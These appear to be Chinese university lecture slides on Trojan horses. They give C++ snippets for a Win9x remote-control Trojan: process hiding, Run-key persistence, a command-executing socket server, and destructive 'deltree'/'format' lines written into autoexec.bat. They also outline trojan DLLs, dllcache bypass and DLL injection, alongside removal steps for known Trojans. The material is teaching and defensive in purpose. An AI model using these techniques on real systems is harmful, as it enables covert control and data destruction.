版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
一種特殊的病毒——特洛伊木馬
(Trojanhorse)第六章特洛伊木馬《特洛伊木馬》電影圖片第六章特洛伊木馬本章的學(xué)習(xí)目標(biāo)掌握特洛伊木馬的概念了解木馬技術(shù)的發(fā)展趨勢(shì)掌握木馬開(kāi)發(fā)實(shí)例理解木馬的關(guān)鍵技術(shù)掌握木馬攻擊的方法掌握木馬防范方法第六章特洛伊木馬章節(jié)主要內(nèi)容1木馬的概述2木馬程序的開(kāi)發(fā)實(shí)例3木馬程序的關(guān)鍵技術(shù)4木馬攻擊的清除及其相關(guān)經(jīng)驗(yàn)5木馬檢測(cè)及清除代碼第六章特洛伊木馬特洛伊木馬(TrojanHorse)是一種與遠(yuǎn)程計(jì)算機(jī)之間建立起連接,使遠(yuǎn)程計(jì)算機(jī)能夠通過(guò)網(wǎng)絡(luò)控制用戶(hù)計(jì)算機(jī)系統(tǒng)并且可能造成用戶(hù)的信息損失、系統(tǒng)損壞甚至癱瘓的程序。木馬的組成硬件:控制端、服務(wù)端、Internet軟件:控制端程序、木馬程序、木馬配置程序連接:控制、服務(wù)端IP,控制、服務(wù)端Port第六章特洛伊木馬流行木馬的基本特征1、隱蔽性是其首要的特征木馬和遠(yuǎn)程控制軟件的最主要區(qū)別不產(chǎn)生圖標(biāo)不出現(xiàn)在任務(wù)管理器中。2、它具有自動(dòng)運(yùn)行性啟動(dòng)文件、啟動(dòng)組、注冊(cè)表第六章特洛伊木馬3、木馬程序具有欺騙性名字方式:字母“l(fā)”與數(shù)字“1”、字母“o”與數(shù)字“0”相同文件名但不同路徑常用圖標(biāo):Zip4、具備自動(dòng)恢復(fù)功能(高級(jí)技術(shù))5、能自動(dòng)打開(kāi)特別的端口6、功能的特殊性搜索緩存中的口令、設(shè)置口令、掃描目標(biāo)機(jī)器的IP地址、進(jìn)行鍵盤(pán)記錄、遠(yuǎn)程注冊(cè)表的操作、以及鎖定鼠標(biāo)等功能7、黑客組織趨于公開(kāi)化第六章特洛伊木馬木馬的分類(lèi)
1、遠(yuǎn)程控制型木馬BO和冰河2、發(fā)送密碼型木馬3、鍵盤(pán)紀(jì)錄型木馬4、破壞型木馬5、FTP型木馬第六章特洛伊木馬遠(yuǎn)程控制、木馬與病毒木馬和控制軟件目的不同有些木馬具有控制軟件的所有功能是否隱藏木馬和普通病毒傳播性(木馬不如病毒)兩者相互融合木馬程序YAI采用了病毒技術(shù)“紅色代碼”病毒已經(jīng)具有木馬的遠(yuǎn)程控制功能第六章特洛伊木馬木馬的發(fā)展方向
1、跨平臺(tái)性2、模塊化設(shè)計(jì)3、更新更強(qiáng)的感染模式4、即時(shí)通知5、更強(qiáng)更多的功能第六章特洛伊木馬2木馬程序的開(kāi)發(fā)實(shí)例第六章特洛伊木馬編程語(yǔ)言選擇以CSocket為基類(lèi)生成CMySocket類(lèi)。CMySocket類(lèi)的功能是用來(lái)使本程序變成一個(gè)服務(wù)器程序。第六章特洛伊木馬自動(dòng)隱藏//Win9x隱藏技術(shù)
DWORDdwVersion=GetVersion(); //得到操作系統(tǒng)的版本號(hào)
if(dwVersion>=0x80000000) //操作系統(tǒng)是Win9x,不是WinNt { typedefDWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD); //定義RegisterServiceProcess()函數(shù)的原型
HINSTANCEhDLL; LPREGISTERSERVICEPROCESSlpRegisterServiceProcess; hDLL=LoadLibrary("KERNEL32.dll"); //加載RegisterServiceProcess()函數(shù)所在的動(dòng)態(tài)鏈接庫(kù)KERNEL32.DLL lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess"); //得到RegisterServiceProcess()函數(shù)的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1); //執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進(jìn)程
FreeLibrary(hDLL); //卸載動(dòng)態(tài)鏈接庫(kù)
}第六章特洛伊木馬用RegisterServiceProcess函數(shù)實(shí)現(xiàn)后臺(tái)服務(wù)進(jìn)程。未公開(kāi)核心函數(shù)WinNT\2K下怎么實(shí)現(xiàn)?第六章特洛伊木馬自動(dòng)加載木馬的第一次執(zhí)行如何實(shí)現(xiàn)第一次以后的自動(dòng)加載?注冊(cè)表代碼功能:HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\%System%\\Tapi32第六章特洛伊木馬CopyFile(commandline,SystemPath+"\\Tapi32.exe",FALSE);//將自己拷貝到%System%目錄下,并改名為T(mén)api32.exe,偽裝起來(lái)registry->Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");registry->QueryValue(TempPath,"crossbow",&lRegLength);
registry->SetValue(SystemPath+"\\Tapi32.exe","crossbow");第六章特洛伊木馬Server端功能——命令接收
接下來(lái)就是啟動(dòng)Server端的Socket來(lái)接收客戶(hù)端的命令。Port777核心代碼:pSocket->Receive(lpBuf,1000); //接收客戶(hù)端數(shù)據(jù)
if(strnicmp(lpBuf,"CMD:",4)==0){ ExecuteCommand(lpBuf,FALSE); }//執(zhí)行遠(yuǎn)端應(yīng)用程序
elseif(strnicmp(lpBuf,"!SHUT",5)==0){ SendText("Exitprogram!",pSocket); OnExit(); }//退出木馬程序第六章特洛伊木馬將要實(shí)現(xiàn)的功能:CMD執(zhí)行應(yīng)用程序!SHUT退出木馬獲得遠(yuǎn)端文件EDITCONF編輯配置文件LIST列目錄VIEW察看文件內(nèi)容CDOPEN關(guān)CDCDCLOSE開(kāi)CDREBOOT重啟遠(yuǎn)端機(jī)器第六章特洛伊木馬Server端功能——修改配置Autoexec.bat和Config.sys代碼:_chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);_chmod("c:\\config.sys",S_IREAD|S_IWRITE);fwrite(content,sizeof(char),strlen(content),fp);//寫(xiě)入添加的語(yǔ)句,例如deltree-yC:或者format–qC:第六章特洛伊木馬Server端功能——實(shí)現(xiàn)list命令Cfinder; BOOLbWorking=finder.FindFile("*.*"); while(bWorking) //循環(huán)得到下一層文件或目錄
{ bWorking=finder.FindNextFile(); if(finder.IsDots()||finder.IsDirectory()){ strResult="Dire:"; }else{ strResult="File:"; } strResult+=finder.Get(); strResult+="\n"; }
SendText(strResult,pSocket); //返回Return_Text變量的內(nèi)容第六章特洛伊木馬Server端功能——實(shí)現(xiàn)View命令intRead_Num=fread(temp_content,1,300,fp); //從目標(biāo)文件中讀入前300個(gè)字符
while(Read_Num==300) { strResult+=(CString)temp_content; //strResult的內(nèi)容加上剛才的字符
for(inti=0;i<300;i++)temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); //重復(fù)
};第六章特洛伊木馬Server端功能——操作硬件mciSendString(“setcdaudiodooropen”,NULL,0,NULL);
//彈出光驅(qū)的托盤(pán)mciSendString("Setcdaudiodoorclosedwait",NULL,0,NULL);
//收入光驅(qū)的托盤(pán)第六章特洛伊木馬Server端功能——遠(yuǎn)程reboot//Win9x重啟ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//操作系統(tǒng)是WinNtOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);第六章特洛伊木馬Client端功能客戶(hù)端的任務(wù)僅僅是發(fā)送命令和接收反饋信息而以。首先,在VisualStudio環(huán)境下新建一個(gè)基于Dialog的應(yīng)用程序;接著,在這個(gè)窗體上放置一些控件。這些控件用于輸入IP,Port,命令以及執(zhí)行某些動(dòng)作。最后,添加CCommandSocket類(lèi)(其基類(lèi)是CSocket類(lèi))到當(dāng)前工程,該類(lèi)用于和Server端通訊。第六章特洛伊木馬發(fā)送命令的代碼如下:m_ptrComSocket->Send((void*)m_msg,m_msg.GetLength());從服務(wù)器端獲取反饋信息ReceiveResult(m_msg);斷開(kāi)Socket通訊的代碼如下:m_ptrComSocket->Close();代碼及演示第六章特洛伊木馬下列問(wèn)題就值得仔細(xì)考慮:首先是程序的大小問(wèn)題;還有啟動(dòng)方式的選擇;木馬的功能還可以大大擴(kuò)充;殺掉防火墻和殺毒軟件;針對(duì)來(lái)自反匯編工具的威脅;自動(dòng)卸載等。第六章特洛伊木馬3木馬程序的關(guān)鍵技術(shù)木馬程序技術(shù)發(fā)展的4個(gè)階段:第一階段主要實(shí)現(xiàn)簡(jiǎn)單的密碼竊取、發(fā)送等功能,沒(méi)有什么特別之處。第二階段在技術(shù)上有了很大的進(jìn)步,主要體現(xiàn)在隱藏、控制等方面。國(guó)內(nèi)冰河可以說(shuō)是這個(gè)階段的典型代表之一。第三階段在數(shù)據(jù)傳遞技術(shù)上做了不小的改進(jìn),出現(xiàn)了基于ICMP協(xié)議的木馬,這種木馬利用ICMP協(xié)議的畸形報(bào)文傳遞數(shù)據(jù),增加了查殺的難度。第四階段在進(jìn)程隱藏方面做了非常大的改動(dòng),采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù)嵌入DLL線程,或者掛接PSAPI實(shí)現(xiàn)木馬程序的隱藏。即使在WindowsNT/2K下,這些技術(shù)都達(dá)到了良好的隱藏效果。相信,第五代木馬的技術(shù)更加先進(jìn)。第六章特洛伊木馬Socket技術(shù)第六章特洛伊木馬第六章特洛伊木馬第六章特洛伊木馬重要的系統(tǒng)文件win.ini文件中的啟動(dòng)加載項(xiàng):[windwos]段中有如下加載項(xiàng):run=Load=system.ini中的啟動(dòng)加載項(xiàng):在[BOOT]子項(xiàng)中的“Shell”項(xiàng):shell=第六章特洛伊木馬修改注冊(cè)表HKEY_CLASSES_ROOT:此處存儲(chǔ)的信息可以確保當(dāng)使用Windows資源管理器打開(kāi)文件時(shí),將使用正確的應(yīng)用程序打開(kāi)對(duì)應(yīng)的文件類(lèi)型。HKEY_CURRENT_USER:存放當(dāng)前登錄用戶(hù)的有關(guān)信息。用戶(hù)文件夾、屏幕顏色和“控制面板”設(shè)置存儲(chǔ)在此處。該信息被稱(chēng)為用戶(hù)配置文件。HKEY_LOCAL_MACHINE:包含針對(duì)該計(jì)算機(jī)(對(duì)于任何用戶(hù))的配置信息。HKEY_USERS:存放計(jì)算機(jī)上所有用戶(hù)的配置文件。HKEY_CURRENT_CONFIG:包含本地計(jì)算機(jī)在系統(tǒng)啟動(dòng)時(shí)所用的硬件配置文件信息。HKEY_DYN_DATA:記錄系統(tǒng)運(yùn)行時(shí)刻的狀態(tài)。第六章特洛伊木馬(Run),(RunOnce),(RunOnceEx),(RunServices),(RunServicesOnce)20多個(gè)API函數(shù)第六章特洛伊木馬修改文件關(guān)聯(lián)當(dāng)你打開(kāi)了一個(gè)已修改了打開(kāi)關(guān)聯(lián)的文件時(shí),木馬也就開(kāi)始了它的運(yùn)作。選擇文件格式中的“打開(kāi)”、“編輯”、“打印”項(xiàng)目。例如冰河木馬病毒[HKEY_CLASSES_ROOT\txtfile\shell\open\command]中的鍵值“c:\windows\notepad.exe%1”,改為“sysexplr.exe%1”。第六章特洛伊木馬遠(yuǎn)程屏幕抓取如果鍵盤(pán)和鼠標(biāo)事件記錄不能滿意時(shí),需要抓取被控制端屏幕,形成一個(gè)位圖文件,然后把該文件發(fā)送到控制端計(jì)算機(jī)顯示出來(lái)。第六章特洛伊木馬輸入設(shè)備控制通過(guò)網(wǎng)絡(luò)控制目標(biāo)機(jī)的鼠標(biāo)和鍵盤(pán),以達(dá)到模擬鼠標(biāo)和鍵盤(pán)的功能。使用技術(shù):Keybd_event,mouse_event//模擬A鍵按鍵過(guò)程keybd_event(65,0,0,0);keybd_event(65,0,KEYEVENTF_KEYUP,0);第六章特洛伊木馬//模擬按下左鍵GetCursorPos(&lpPoint);SetCursorPos(lpPoint.x,lpPoint.y);mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);第六章特洛伊木馬遠(yuǎn)程文件管理操作目標(biāo)機(jī)文件的方式通常有兩種:一種是共享目標(biāo)機(jī)的硬盤(pán),進(jìn)行任意的文件操作;另一種是把自己的計(jì)算機(jī)配置為FTP(Protocol,文件傳輸協(xié)議)服務(wù)器。使用函數(shù)CInternetSessionGetGetFilePutFile第六章特洛伊木馬共享硬盤(pán)數(shù)據(jù)Windows2000/NT/XP: [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\lanmanserver\Shares]Windows9x:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan]"Flags"
//類(lèi)型"Path"
//目錄"Remark"
//備注"Type""Parm1enc""Parm2enc"第六章特洛伊木馬隱藏技術(shù)——反彈式木馬技術(shù)定義:利用防火墻對(duì)內(nèi)部發(fā)起的連接請(qǐng)求無(wú)條件信任的特點(diǎn),假冒是系統(tǒng)的合法網(wǎng)絡(luò)請(qǐng)求來(lái)取得對(duì)外的端口,再通過(guò)某些方式連接到木馬的客戶(hù)端,從而竊取用戶(hù)計(jì)算機(jī)的資料同時(shí)遙控計(jì)算機(jī)本身。第六章特洛伊木馬反彈式木馬訪問(wèn)客戶(hù)端的80端口,防火墻無(wú)法限制。例如,“網(wǎng)絡(luò)神偷”防范:使用個(gè)人防火墻,其采用獨(dú)特的“內(nèi)墻”方式應(yīng)用程序訪問(wèn)網(wǎng)絡(luò)規(guī)則。第六章特洛伊木馬隱藏技術(shù)——用ICMP方法隱藏連接TCPUDP木馬的弱點(diǎn):等待和運(yùn)行的過(guò)程中,始終有一個(gè)和外界聯(lián)系的端口打開(kāi)著。原理:由于ICMP報(bào)文是由系統(tǒng)內(nèi)核或進(jìn)程直接處理而不是通過(guò)端口,這就給木馬一個(gè)擺脫端口的絕好機(jī)會(huì)。木馬將自己偽裝成一個(gè)Ping的進(jìn)程,系統(tǒng)就會(huì)將ICMP_ECHOREPLY(Ping的回包)的監(jiān)聽(tīng)、處理權(quán)交給木馬進(jìn)程。一旦事先約定好的ICMP_ECHOREPLY包出現(xiàn)(可以判斷包大小、ICMP_SEQ等特征),木馬就會(huì)接受、分析并從報(bào)文中解碼出命令和數(shù)據(jù)。即使防火墻過(guò)濾ICMP報(bào)文,一般也不過(guò)率ICMP_ECHOREPLY包,否則就不能進(jìn)行Ping操作了。因此,具有對(duì)于防火墻和網(wǎng)關(guān)的穿透能力。第六章特洛伊木馬隱藏技術(shù)——隱藏端口為了隱藏端口,采用兩種思路:寄生和潛伏寄生就是找一個(gè)已經(jīng)打開(kāi)的端口,寄生其上,平時(shí)只是監(jiān)聽(tīng),遇到特殊的指令就進(jìn)行解釋執(zhí)行。潛伏是說(shuō)使用IP協(xié)議族中的其它協(xié)議而不是TCP或UDP來(lái)進(jìn)行通訊,從而瞞過(guò)Netstat和端口掃描軟件。一種比較常見(jiàn)的潛伏手段是使用ICMP協(xié)議。其他方法:對(duì)網(wǎng)卡或Modem進(jìn)行底層的編程。第六章特洛伊木馬隱藏技術(shù)——NT進(jìn)程的隱藏進(jìn)程和端口聯(lián)系在一起的方法很常見(jiàn)。因此,需要隱藏進(jìn)程來(lái)達(dá)到隱藏木馬的目的。實(shí)現(xiàn)進(jìn)程隱藏有兩種思路:第一是讓系統(tǒng)管理員看不見(jiàn)(或者視而不見(jiàn))你的進(jìn)程;第二是不使用進(jìn)程。第六章特洛伊木馬能否使用第一種方式?在Windows中有多種方法能夠看到進(jìn)程的存在:PSAPI(ProcessStatusAPI);PDH(PerformanceDataHelper);ToolHelpAPI。如果我們能夠欺騙用戶(hù)和入侵檢測(cè)軟件用來(lái)查看進(jìn)程的函數(shù)(例如截獲相應(yīng)的API調(diào)用,替換返回的數(shù)據(jù)),我們就完全能實(shí)現(xiàn)進(jìn)程隱藏。但是存在兩個(gè)難題:一來(lái)我們并不知道用戶(hù)和入侵軟件使用的是什么方法來(lái)查看進(jìn)程列表;二來(lái)如果我們有權(quán)限和技術(shù)實(shí)現(xiàn)這樣的欺騙,我們就一定能使用其它的方法更容易的實(shí)現(xiàn)進(jìn)程的隱藏。第六章特洛伊木馬使用第二種方式最流行。DLL是Windows系統(tǒng)的另一種“可執(zhí)行文件”。DLL文件是Windows的基礎(chǔ),因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒(méi)有程序邏輯,是由多個(gè)功能函數(shù)構(gòu)成,它并不能獨(dú)立運(yùn)行,一般都是由進(jìn)程加載并調(diào)用的。假設(shè)我們編寫(xiě)了一個(gè)木馬DLL,并且通過(guò)別的進(jìn)程來(lái)運(yùn)行它,那么無(wú)論是入侵檢測(cè)軟件還是進(jìn)程列表中,都只會(huì)出現(xiàn)那個(gè)進(jìn)程而并不會(huì)出現(xiàn)木馬DLL,如果那個(gè)進(jìn)程是可信進(jìn)程,(例如資源管理器Explorer.exe,沒(méi)人會(huì)懷疑它是木馬吧?)那么我們編寫(xiě)的DLL作為那個(gè)進(jìn)程的一部分,也將成為被信賴(lài)的一員而為所欲為。第六章特洛伊木馬用DLL實(shí)現(xiàn)木馬功能 用DLL實(shí)現(xiàn)木馬功能,然后,用其他程序啟動(dòng)該DLL.有三種方式:最簡(jiǎn)單的方式——RUNDLL32特洛伊DLL線程插入技術(shù)第六章特洛伊木馬最簡(jiǎn)單的方式——RUNDLL32Rundll32DllFuncNameRundll32.exeMyDll.dllMyFunc程序演示(參見(jiàn):..\othercode\testdll)第六章特洛伊木馬比較高級(jí)的方式-特洛伊DLL
特洛伊DLL(欺騙DLL)的工作原理是使用欺騙DLL替換常用的DLL文件,通過(guò)函數(shù)轉(zhuǎn)發(fā)器將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。函數(shù)轉(zhuǎn)發(fā)器forward的認(rèn)識(shí)。VisualStudio7命令提示符>dumpBin-Exportsc:\windows\system32\Kernel32.dll|more演示程序?qū)崿F(xiàn)//FunctionforwarderstofunctionsinDllWork#pragmacomment(linker,"/export:ForwardFunc=Kernel32.HeapCreate")演示(參見(jiàn):..\othercode\testdll源代碼)第六章特洛伊木馬實(shí)現(xiàn)描述我們知道WINDOWS的Socket1.x的函數(shù)都是存放在wsock32.dll中的,那么我們自己寫(xiě)一個(gè)wsock32.dll文件,替換掉原先的wsock32.dll(將原先的DLL文件重命名為wsockold.dll)我們的wsock32.dll只做兩件事,一是如果遇到不認(rèn)識(shí)的調(diào)用,就直接轉(zhuǎn)發(fā)給wsockold.dll(使用函數(shù)轉(zhuǎn)發(fā)器forward);二是遇到特殊的請(qǐng)求(事先約定的)就解碼并處理。第六章特洛伊木馬特洛伊DLL的弱點(diǎn):system32目錄下有一個(gè)dllcache的目錄,這個(gè)目錄中存放著大量的DLL文件,一旦操作系統(tǒng)發(fā)現(xiàn)被保護(hù)的DLL文件被篡改(數(shù)字簽名技術(shù)),它就會(huì)自動(dòng)從dllcache中恢復(fù)這個(gè)文件。有些方法可以繞過(guò)dllcache的保護(hù):先更改dllcache目錄中的備份再修改DLL文件利用KnownDLLs鍵值更改DLL的默認(rèn)啟動(dòng)路徑等同時(shí)特洛伊DLL方法本身也有一些漏洞(例如修復(fù)安裝、安裝補(bǔ)丁、升級(jí)系統(tǒng)、檢查數(shù)字簽名等方法都有可能導(dǎo)致特洛伊DLL失效),所以這個(gè)方法也不能算是DLL木馬的最優(yōu)選擇。第六章特洛伊木馬最高級(jí)方式——?jiǎng)討B(tài)嵌入技術(shù)DLL木馬的最高境界是動(dòng)態(tài)嵌入技術(shù),動(dòng)態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。多種嵌入方式:窗口Hook、掛接API、遠(yuǎn)程線程。第六章特洛伊木馬隱藏技術(shù)——遠(yuǎn)程線程技術(shù)遠(yuǎn)程線程技術(shù)指的是通過(guò)在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。通過(guò)CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,新線程同樣可以共享遠(yuǎn)程進(jìn)程的地址空間。第六章特洛伊木馬HANDLECreateRemoteThread(HANDLEhProcess,PSECURITY_ATTRIBUTESpsa,DWORDdwStackSize,PTHREAD_START_ROUTINEpfnStartAddr,PVOIDpvParam,DWORDfdwCreate,PDWORDpdwThreadId);一個(gè)地址第六章特洛伊木馬DWORDWINAPIThreadFunc(PVOIDpvParam);HINSTANCELoadLibrary(PCTSTRpszLibFile);兩個(gè)函數(shù)非常類(lèi)似第六章特洛伊木馬需解決的問(wèn)題:第一個(gè)問(wèn)題,獲取LoadLibrary的實(shí)際地址。PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");第二個(gè)問(wèn)題,把DLL路徑名字符串放入宿主進(jìn)程。使用:VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,WriteProcessMemory等函數(shù)。第六章特洛伊木馬操作步驟做一個(gè)歸納:1)使用VirtualAllocEx函數(shù),分配遠(yuǎn)程進(jìn)程的地址空間中的內(nèi)存。2)使用WriteProcessMemory函數(shù),將DLL的路徑名拷貝到第一個(gè)步驟中已經(jīng)分配的內(nèi)存中。3)使用GetProcAddress函數(shù),獲取LoadLibraryA或LoadLibratyW函數(shù)的實(shí)地址(在Kernel32.dll中)。4)使用CreateRemoteThread函數(shù),在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程,它調(diào)用正確的LoadLibrary函數(shù),為它傳遞第一個(gè)步驟中分配的內(nèi)存的地址。第六章特洛伊木馬5)使用VirtualFreeEx函數(shù),釋放第一個(gè)步驟中分配的內(nèi)存。6)使用GetProcAddress函數(shù),獲得FreeLibrary函數(shù)的實(shí)地址(在Kernel32.dll中)。7)使用CreateRemoteThread函數(shù),在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程,它調(diào)用FreeLibrary函數(shù),傳遞遠(yuǎn)程DLL的HINSTANCE??创a及演示(參見(jiàn):..\othercode\injlib和Imgwalk)第六章特洛伊木馬服務(wù)器端程序的包裝與加密一個(gè)試驗(yàn):text.txt,其內(nèi)容為“Thisisfortest!!”C:\>typetext.txt>>Test.exe運(yùn)行Test.exe演示(參見(jiàn):..\othercoe\bindexe)木馬會(huì)把一些配置信息放在exe文件的最后。例如,冰河木馬第六章特洛伊木馬4木馬攻擊的方法及相關(guān)經(jīng)驗(yàn)1木馬病毒的常用騙術(shù)
2全面防治木馬病毒
3幾種常見(jiàn)木馬病毒的殺除方法
4已知木馬病毒的端口列表第六章特洛伊木馬木馬病毒的常用騙術(shù)1.修改批處理Autoexec.bat(自動(dòng)批處理,在引導(dǎo)系統(tǒng)時(shí)執(zhí)行)
Winstart.bat(在啟動(dòng)GUI圖形界面環(huán)境時(shí)執(zhí)行)
Dosstart.bat(在進(jìn)入MS-DOS方式時(shí)執(zhí)行)
2.修改系統(tǒng)配置System.iniWin.ini第六章特洛伊木馬3.借助自動(dòng)運(yùn)行功能根目錄下新建一個(gè)Autorun.inf
[autorun]
open=Notepad.exe
4.通過(guò)注冊(cè)表中的Run來(lái)啟動(dòng)
5.通過(guò)文件關(guān)聯(lián)啟動(dòng)6.通過(guò)APIHOOK啟動(dòng)利用經(jīng)常使用的API啟動(dòng)木馬第六章特洛伊木馬7.通過(guò)VXD啟動(dòng)寫(xiě)成Vxd并寫(xiě)入[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD]8.通過(guò)瀏覽網(wǎng)頁(yè)啟動(dòng)利用MIME的漏洞。9.利用Javaapplet10.利用系統(tǒng)自動(dòng)運(yùn)行的程序例如,ScanDisk等程序,在一定情況下,系統(tǒng)會(huì)自動(dòng)啟動(dòng)它們。第六章特洛伊木馬全面防治木馬病毒1木馬中毒現(xiàn)象2發(fā)現(xiàn)和殺除木馬的方法進(jìn)程/內(nèi)存模塊查看器在Windows下查看進(jìn)程/內(nèi)存模塊的方法很多,有PSAPI、PDH和ToolHelperAPI。http://端口掃描(端口進(jìn)程關(guān)聯(lián)軟件)關(guān)聯(lián)端口和進(jìn)程的軟件也是重要的工具之一,雖然DLL木馬隱藏在其他進(jìn)程中,但是多多少少會(huì)有一些異常,功能強(qiáng)大的Fport就是一個(gè)優(yōu)秀的進(jìn)程端口關(guān)聯(lián)軟件,可以在以下地址下載到:
http://=FPortNG.zip嗅探器嗅探器幫助我們發(fā)現(xiàn)異常的網(wǎng)絡(luò)通訊,從而引起我們的警惕和關(guān)注,嗅探器的原理很簡(jiǎn)單,通過(guò)將網(wǎng)卡設(shè)為混雜模式就可以接受所有的IP報(bào)文,嗅探程序可以從中選擇值得關(guān)注的部分進(jìn)行分析,剩下的無(wú)非是按照RFC文檔對(duì)協(xié)議進(jìn)行解碼。代碼及頭文件:
http://
編譯后的程序:
http://第六章特洛伊木馬檢查及保護(hù)注冊(cè)表http://查找文件http://
殺病毒軟件系統(tǒng)文件檢查器第六章特洛伊木馬3木馬的預(yù)防措施1.永遠(yuǎn)不要執(zhí)行任何來(lái)歷不明的軟件或程序2.永遠(yuǎn)不要相信你的郵箱不會(huì)收到垃圾和病毒3.永遠(yuǎn)不要因?yàn)閷?duì)方是你的好朋友就輕易執(zhí)行他發(fā)過(guò)來(lái)的軟件或程序。4.千萬(wàn)不要隨便留下你的個(gè)人資料。5.千萬(wàn)不要輕易相信網(wǎng)絡(luò)上認(rèn)識(shí)的新朋友。6.永遠(yuǎn)不要隨便說(shuō)別人的壞話,防止別人用木馬報(bào)復(fù)你。第六章特洛伊木馬幾種常見(jiàn)木馬病毒的殺除方法一、BO2000查看注冊(cè)表[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicse]中是否存在Umgr32.exe的鍵值。有則將其刪除。重新啟動(dòng)電腦,并將\Windows\System中的Umgr32.exe刪除。
第六章特洛伊木馬二、NetSpy(網(wǎng)絡(luò)精靈)
國(guó)產(chǎn)木馬,默認(rèn)連接端口為7306。在該版本中新添加了注冊(cè)表編輯功能和瀏覽器監(jiān)控功能,客戶(hù)端現(xiàn)在可以不用NetMonitor,通過(guò)IE或Navigate就可以進(jìn)行遠(yuǎn)程監(jiān)控了。其強(qiáng)大之處絲毫不遜色于冰河和BO2000!服務(wù)端程序被執(zhí)行后,會(huì)在C:\Windows\system目錄下生成netspy.exe文件。同時(shí)在注冊(cè)表[HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run]下建立鍵值C:\windows\system\netspy.exe,用于在系統(tǒng)啟動(dòng)時(shí)自動(dòng)加載運(yùn)行。
清除方法:
1.進(jìn)入dos,在C:\windows\system\目錄下輸入以下命令:delnetspy.exe回車(chē);
2.進(jìn)入注冊(cè)表HKEY_LOCAL_MACHINE\Software\microsoft\windows\CurrentVersion\Run\,刪除Netspy.exe和Spynotify.exe的鍵值即可安全清除Netspy。
第六章特洛伊木馬三、Happy99
此程序運(yùn)行時(shí),會(huì)在打開(kāi)一個(gè)名為“Happynewyear1999”的窗口,并出現(xiàn)美麗的煙花,它會(huì)復(fù)制到Windows主文件夾的System目錄下并更名為Ska.exe,同時(shí)創(chuàng)建文件Ska.dll,修改Wsock32.dll,將修改前的文件備份為Wsock32.ska,并修改注冊(cè)表。另外,用戶(hù)可以檢查注冊(cè)[HEKY_LOCAL_MACHINE\Softwre\Microsoft\Windows\CurrentVersion\RunOnce]中有無(wú)鍵值Ska.exe。有則將其刪除,并刪除\Windows\System中的Ska.exe和Ska.dll兩個(gè)文件,將Wsock32.ska更名為Wscok32.dll。
第六章特洛伊木馬四、冰河
冰河標(biāo)準(zhǔn)版的服務(wù)器端程序?yàn)镚-server.exe,客戶(hù)端程序?yàn)镚-client.exe,默認(rèn)連接端口為7626。一旦運(yùn)行G-server,那么該程序就會(huì)在C:\Windows\system目錄下生成Kernel32.exe和sysexplr.exe并刪除自身。Kernel32.exe在系統(tǒng)啟動(dòng)時(shí)自動(dòng)加載運(yùn)行,sysexplr.exe和TXT文件關(guān)聯(lián)。即使你刪除了Kernel32.exe,但只要你打開(kāi)TXT文件,sysexplr.exe就會(huì)被激活,它將再次生成Kernel32.exe,于是冰河又回來(lái)了!這就是冰河屢刪不止的原因。
清除方法:
用純DOS啟動(dòng)進(jìn)入系統(tǒng)(以防木馬的自動(dòng)恢復(fù)),刪除你安裝的windows下的system\kernel32.exe和system\sysexplr.exe兩個(gè)木馬文件,注意如果系統(tǒng)提示你不能刪除它們,則因?yàn)槟抉R程序自動(dòng)設(shè)置了這兩個(gè)文件的屬性,我們只需要先改掉它們的隱藏、只讀屬性,就可以刪除。刪除后,進(jìn)入windows系統(tǒng)進(jìn)入注冊(cè)表中,找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]兩項(xiàng),然后查找kernel32.exe和sysexplr.exe兩個(gè)鍵值并刪除。再找到[HKEY_CLASSES_ROOT\txtfile\open\command],看在鍵值中是不是已改為“sysexplr.exe%1”,如是改回“notepad.exe%1”。第六章特洛伊木馬五、Nethief(網(wǎng)絡(luò)神偷)
